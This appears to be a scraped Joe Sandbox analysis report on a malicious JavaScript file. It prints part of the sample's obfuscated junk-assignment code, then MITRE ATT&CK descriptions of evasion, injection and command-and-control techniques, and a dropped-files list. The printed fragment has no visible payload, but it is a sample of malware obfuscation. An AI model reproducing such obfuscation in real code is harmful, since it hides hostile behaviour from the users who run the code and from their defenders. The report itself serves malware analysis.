1034	urhhr = "J";
1035	urhhr = "l";
1036	urhhr = "c";
1037	urhhr = "F";
1038	urhhr = "r";
1039	fqyxrsw = "L";
1040	fqyxrsw = "o";
1041	fqyxrsw = "I";
1042	fqyxrsw = "i";
1043	fqyxrsw = "w";
1044	fqyxrsw = "t";
1045	fqyxrsw = "b";
1046	fqyxrsw = "g";
1047	fqyxrsw = "i";
1048	fqyxrsw = "%";
1049	mwjamg = "G";
1050	mwjamg = "k";
1051	mwjamg = "j";
1052	mwjamg = "r";
1053	mwjamg = "v";
1054	mwjamg = "l";
1055	mwjamg = "X";
1056	mwjamg = "J";
1057	mwjamg = "q";
1058	mwjamg = "A";
1059	mwjamg = "N";
1060	mwjamg = "p";
1061	mwjamg = "Y";
1062	mwjamg = "G";
1063	mwjamg = "y";
1064	mwjamg = "k";
1065	mwjamg = "E";
1066	mwjamg = "u";
1067	mwjamg = "A";
1068	mwjamg = "w";
1069	mwjamg = "f";
1070	mwjamg = "K";
1071	mwjamg = "q";
1072	mwjamg = "k";
1073	mwjamg = "d";
1074	mwjamg = "w";
1075	mwjamg = "r";
1076	mwjamg = "h";
1077	mwjamg = "S";
1078	mwjamg = "l";
1079	mwjamg = "D";
1080	mwjamg = "x";
1081	mwjamg = "E";
1082	jjylryl = "p";
1083	jjylryl = "o";
1084	jjylryl = "A";
1085	jjylryl = "H";
1086	jjylryl = "e";
1087	jjylryl = "c";
1088	jjylryl = "V";
1089	jjylryl = "e";
1090	jjylryl = "G";
1091	jjylryl = "U";
1092	jjylryl = "s";
1093	jjylryl = "F";
1094	jjylryl = "o";
1095	jjylryl = "g";
1096	jjylryl = "W";
1097	jjylryl = "k";
1098	clhfry = "v";
1099	clhfry = "R";
1100	clhfry = "J";
1101	clhfry = "m";
1102	clhfry = "u";
1103	clhfry = "a";
1104	clhfry = "z";
1105	clhfry = "F";
1106	clhfry = "q";
1107	clhfry = "s";
1108	clhfry = "x";
1109	clhfry = "A";
1110	clhfry = "z";
1111	clhfry = "o";
1112	clhfry = "M";
1113	clhfry = "G";
1114	clhfry = "d";
1115	clhfry = "u";
1116	clhfry = "a";
1117	clhfry = "S";
1118	clhfry = "d";
1119	clhfry = "B";
1120	clhfry = "w";
1121	clhfry = "V";
1122	clhfry = "P";
1123	clhfry = "H";
1124	clhfry = "l";
1125	clhfry = "T";
1126	clhfry = "w";
1127	clhfry = "w";
1128	sjsvc = "k";
1129	sjsvc = "g";
1130	sjsvc = "t";
1131	sjsvc = "o";
1132	sjsvc = "y";
1133	sjsvc = "g";
1134	sjsvc = "a";
1135	sjsvc = "t";
1136	sjsvc = "V";
1137	sjsvc = "z";
1138	sjsvc = "j";
1139	sjsvc = "W";
1140	szmdjzthd = "I";
1141	szmdjzthd = "C";
1142	szmdjzthd = "a";
1143	szmdjzthd = "S";
1144	szmdjzthd = "z";
1145	szmdjzthd = "G";
1146	szmdjzthd = "V";
1147	szmdjzthd = "X";
1148	szmdjzthd = "G";
1149	szmdjzthd = "x";
1150	szmdjzthd = "L";
1151	szmdjzthd = "p";
1152	szmdjzthd = "u";
1153	szmdjzthd = "k";
1154	szmdjzthd = "X";
1155	szmdjzthd = "y";
1156	szmdjzthd = "N";
1157	szmdjzthd = "r";
1158	szmdjzthd = "Z";
1159	szmdjzthd = "p";
1160	szmdjzthd = "J";
1161	szmdjzthd = "o";
1162	szmdjzthd = "I";
1163	szmdjzthd = "f";
1164	szmdjzthd = "x";
1165	szmdjzthd = "I";
1166	szmdjzthd = "R";
1167	szmdjzthd = "R";
1168	szmdjzthd = "r";
1169	szmdjzthd = "u";
1170	szmdjzthd = "v";
1171	szmdjzthd = "e";
1172	szmdjzthd = "T";
1173	szmdjzthd = "h";
1174	szmdjzthd = "v";
1175	szmdjzthd = "I";
1176	szmdjzthd = "b";
1177	szmdjzthd = "Z";
1178	szmdjzthd = "A";
1179	szmdjzthd = "r";
1180	szmdjzthd = "C";
1181	szmdjzthd = "a";
1182	szmdjzthd = "t";
1183	szmdjzthd = "E";
1184	szmdjzthd = "N";
1185	mkoswhkyr = "q";
1186	mkoswhkyr = "P";
1187	mkoswhkyr = "L";
1188	mkoswhkyr = "N";
1189	mkoswhkyr = "j";
1190	mkoswhkyr = "R";
1191	mkoswhkyr = "s";
1192	mkoswhkyr = "C";
1193	mkoswhkyr = "C";
1194	mkoswhkyr = "Y";
1195	mkoswhkyr = "w";
1196	mkoswhkyr = "n";
1197	mkoswhkyr = "h";
1198	mkoswhkyr = "F";
1199	mkoswhkyr = "c";
1200	mkoswhkyr = "v";
1201	mkoswhkyr = "V";
1202	mkoswhkyr = "N";
1203	mkoswhkyr = "u";
1204	mkoswhkyr = "c";
1205	mkoswhkyr = "k";
1206	mkoswhkyr = "g";
1207	mkoswhkyr = "D";
1208	mkoswhkyr = "H";
1209	mkoswhkyr = "b";
1210	mkoswhkyr = "R";
1211	mkoswhkyr = "O";
1212	mkoswhkyr = "j";
1213	mkoswhkyr = "w";
1214	mkoswhkyr = "N";
1215	mkoswhkyr = "m";
1216	mkoswhkyr = "C";
1217	mkoswhkyr = "q";
1218	mkoswhkyr = "s";
1219	mkoswhkyr = "q";
1220	mkoswhkyr = "b";
1221	fnyted = "K";
1222	fnyted = "m";
1223	fnyted = "G";
1224	fnyted = "v";
1225	fnyted = "/";
1226	yoeag = "w";
1227	yoeag = "y";
1228	yoeag = "u";
1229	yoeag = "z";
1230	yoeag = "E";
1231	yoeag = "A";
1232	yoeag = "n";
1233	yoeag = "L";
1234	yoeag = "O";
1235	yoeag = "Y";
1236	yoeag = "K";
1237	yoeag = "m";
1238	yoeag = "b";
1239	yoeag = "p";
1240	yoeag = "U";
1241	yoeag = "j";
1242	yoeag = "j";
1243	bmbeiwjl = "W";
1244	bmbeiwjl = "A";
1245	bmbeiwjl = "X";
1246	bmbeiwjl = "q";
1247	bmbeiwjl = "C";
1248	bmbeiwjl = "Q";
1249	bmbeiwjl = "g";
1250	bmbeiwjl = "h";
1251	bmbeiwjl = "l";
1252	bmbeiwjl = "P";
1253	bmbeiwjl = "Q";
1254	bmbeiwjl = "Q";
1255	bmbeiwjl = "B";
1256	bmbeiwjl = "P";
1257	bmbeiwjl = "D";
1258	bmbeiwjl = "K";
1259	zmofxft = "f";
1260	zmofxft = "z";
1261	zmofxft = "f";
1262	zmofxft = "u";
1263	zmofxft = "o";
1264	zmofxft = "Z";
1265	zmofxft = "C";
1266	zmofxft = "l";
1267	zmofxft = "O";
1268	zmofxft = "p";
1269	zmofxft = "P";
1270	zmofxft = "c";
1271	zmofxft = "c";
1272	zmofxft = "p";
1273	zmofxft = "u";
1274	zmofxft = "b";
1275	zmofxft = "X";
1276	zmofxft = "a";
1277	zmofxft = "C";
1278	zmofxft = "R";
1279	zmofxft = "K";
1280	zmofxft = "k";
1281	zmofxft = "h";
1282	zmofxft = "u";
1283	zmofxft = "d";
1284	zmofxft = "m";
1285	zmofxft = "q";
1286	zmofxft = "F";
1287	zmofxft = "v";
1288	zmofxft = "O";
1289	zmofxft = "h";
1290	zmofxft = "s";
1291	zmofxft = "E";
1292	zmofxft = "V";
1293	zmofxft = "h";
1294	tydlue = "Y";
1295	tydlue = "Q";
1296	tydlue = "d";
1297	tydlue = "g";
1298	tydlue = "k";
1299	tydlue = "P";
1300	tydlue = "F";
1301	tydlue = "J";
1302	tydlue = "G";
1303	tydlue = "t";
1304	tydlue = "c";
1305	tydlue = "W";
1306	tydlue = "V";
1307	tydlue = "y";
1308	tydlue = "t";
1309	tydlue = "N";
1310	tydlue = "G";
1311	tydlue = "d";
1312	tydlue = "c";
1313	tydlue = "H";
1314	tydlue = "L";
1315	tydlue = "d";
1316	tydlue = "y";
1317	tydlue = "-";
1318	ustba = "S";
1319	ustba = "A";
1320	ustba = "d";
1321	ustba = "m";
1322	ustba = "c";
1323	ustba = "x";
1324	ustba = "X";
1325	ustba = "A";
1326	ustba = "p";
1327	ustba = "V";
1328	ustba = "v";
1329	ustba = "g";
1330	ustba = "H";
1331	ustba = "C";
1332	ustba = "Z";
1333	ustba = "X";
1334	ustba = "T";
1335	ustba = "Y";
1336	ustba = "V";
1337	ustba = "Y";
1338	ustba = "v";
1339	ustba = "g";
1340	ustba = "u";
1341	ustba = "u";
1342	ustba = "z";
1343	ustba = "S";
1344	ustba = "C";
1345	ustba = "k";
1346	ustba = "H";
1347	ustba = "R";
1348	ustba = "Q";
1349	ustba = ".";
1350	xwtrrrrp = "o";
1351	xwtrrrrp = "m";
1352	xwtrrrrp = "J";
1353	xwtrrrrp = "z";
1354	xwtrrrrp = "B";
1355	xwtrrrrp = "t";
1356	xwtrrrrp = "d";
1357	xwtrrrrp = "J";
1358	xwtrrrrp = "Y";
1359	xwtrrrrp = "j";
1360	xwtrrrrp = "P";
1361	xwtrrrrp = "s";
1362	xwtrrrrp = "C";
1363	xwtrrrrp = "i";
1364	xwtrrrrp = "b";
1365	xwtrrrrp = "U";
1366	xwtrrrrp = "b";
1367	xwtrrrrp = "i";
1368	xwtrrrrp = "Z";
1369	xwtrrrrp = "C";
1370	xwtrrrrp = "W";
1371	xwtrrrrp = "Y";
1372	xwtrrrrp = "Y";
1373	xwtrrrrp = "s";
1374	xwtrrrrp = "B";
1375	xwtrrrrp = "u";
1376	xwtrrrrp = "s";
1377	xwtrrrrp = "F";
1378	xwtrrrrp = "c";
1379	xwtrrrrp = "x";
1380	xwtrrrrp = "w";
1381	xwtrrrrp = "e";
1382	xwtrrrrp = "A";
1383	xwtrrrrp = "g";
1384	xwtrrrrp = "K";
1385	xwtrrrrp = "8";
1386	loddx = "f";
1387	loddx = "t";
1388	loddx = "f";
1389	loddx = "o";
1390	loddx = "X";
1391	loddx = "d";
1392	loddx = "M";
1393	loddx = "L";
1394	loddx = "x";
1395	loddx = "Z";
1396	loddx = "E";
1397	loddx = "q";
1398	loddx = "P";
1399	loddx = "l";
1400	loddx = "p";
1401	loddx = "v";
1402	loddx = "y";
1403	loddx = "r";
1404	loddx = "K";
1405	loddx = "E";
1406	loddx = "G";
1407	loddx = "\"";
1408	fsuxl = "g";
1409	fsuxl = "h";
1410	fsuxl = "E";
1411	fsuxl = "k";
1412	fsuxl = "K";
1413	fsuxl = "W";
1414	fsuxl = "x";
1415	fsuxl = "L";
1416	fsuxl = "i";
1417	fsuxl = "e";
1418	fsuxl = "w";
1419	fsuxl = "n";
1420	fsuxl = "e";
1421	fsuxl = "L";
1422	fsuxl = "b";
1423	fsuxl = "A";
1424	fsuxl = "g";
1425	fsuxl = "Z";
1426	fsuxl = "l";
1427	fsuxl = "P";
1428	fsuxl = "v";
1429	fsuxl = "r";
1430	fsuxl = "S";
1431	fsuxl = "v";
1432	fsuxl = "E";
1433	fsuxl = "D";
1434	fsuxl = "J";
1435	fsuxl = "W";
1436	fsuxl = "w";
1437	fsuxl = "X";
1438	fsuxl = "I";
1439	thcocng ( );	thcocng() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 25717297553175212150.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF691202.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\dd468030-0794-478c-a285-db66bbcadcc6.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e1f8ad46-5eae-428a-aa45-cc43cb10f770.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
25717297553175212150.js